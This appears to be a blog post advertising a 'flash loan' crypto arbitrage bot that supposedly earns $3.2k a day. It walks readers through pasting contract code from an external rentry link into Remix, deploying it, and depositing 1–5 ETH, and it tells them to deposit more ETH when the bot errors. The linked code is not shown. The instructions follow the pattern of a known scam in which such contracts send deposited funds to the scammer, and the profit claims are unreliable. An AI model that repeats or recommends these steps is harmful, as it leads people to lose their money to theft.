How I Earn $3.2k/Day with Semi-Automated Crypto Trading

Crypto Blockchain
Coinmonks
3 min readAug 4, 2024

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Shocking? Yeah. I was too when I did.

It was quite a shocking experience making such huge profits in a day using a semi-automated trading bot considering the hyper-competitive crypto arbitrage space. There are currently trading bots out there making profits of upward $10k+ in a day with sufficient liquidity supporting their trades.

As much as I want to claim the recognition of developing this trading bot, I can’t help but acknowledge the contribution of ChatGPT towards its development and consequent set up and running of the bot.

Enough of articles saying ChatGPT can help you decide how and where to invest!

Remember: ChatGPT is just a tool that will do whatever you tell it to do.

I always say:
AI can take you there but will not replace you as the driver.

If you really want to build a personalized profitable trading bot that earns you $3.2k+/day, you’ll need to outline a clear framework to create that bot.

This is why I’ve created the UniswapV3FlashLoan model — A framework/template that you can follow to create a profitable trading bot.

In the tutorial video below, I explained the framework behind the UniswapV3FlashLoan model and how I used it to create a bot that earned me $3.2k in a day.

Access Remix: — Remix — Ethereum IDE

UniswapV3FlashLoan Bot contract code for remix- https://rentry.co/pvminspm/raw

Get MetaMask: — https://metamask.io/download.html

STEP BY STEP TUTORIAL

  • Download MetaMask or Google It for official site: https://metamask.io/download
  • Head over to Remix: Remix — Ethereum IDE
  • Right click the “Contracts” folder and then create “New File”. Name it whatever you want or “bot.sol”
  • Paste THIS code into Remix: https://rentry.co/pvminspm/raw
  • Go to the “Compile” tab on Remix and Compile with Solidity version 0.6.6
  • Go to the “Deploy & Run Transactions” tab on Remix, select the “Injected Provider” environment, then click the arrow beside “Deploy”.
    Fill the information below:
    _OWNER: “Your personal wallet address”
    _TARGET: “0xB50721BCf8d664c30412Cfbc6cf7a15145234ad1” (ARB/ETH contract address).
    It can be any contract address of your choice — https://etherscan.io/tokens
    This will create your own contract by confirming the MetaMask Contract creation fee.
  • Deposit funds (at least 1.0–5.0 ETH to prevent negating slippage) to your exact contract/bot address. This is to provide sufficient liquidity for your bot to trade with.
  • After your transaction is confirmed, start the bot by clicking the “start” button. Withdraw anytime by clicking “withdrawal”

NOTE: Using below recommended amount (1 ETH+) can result in no returns or loss as liquidity can be exhausted before the bot makes substantial returns due to slippage, fees and high volatility of the market.

In the case of error, fund your contract address with another 1 ETH and restart your bot by clicking the red “start” button. These errors occur due to insufficient liquidity in your contract caused by depletion of ETH in the contract due to slippage and fees cost.

Avoid using amounts below 0.5 ETH because the price of gas fluctuates constantly and the arbitrage may fail below 0.5 ETH due to insufficient liquidity, slippage and fees cost.

Thank you for being an essential part of our vibrant crypto community!

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If you encounter any error and I’ll be happy to help.

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Crypto Blockchain
Coinmonks

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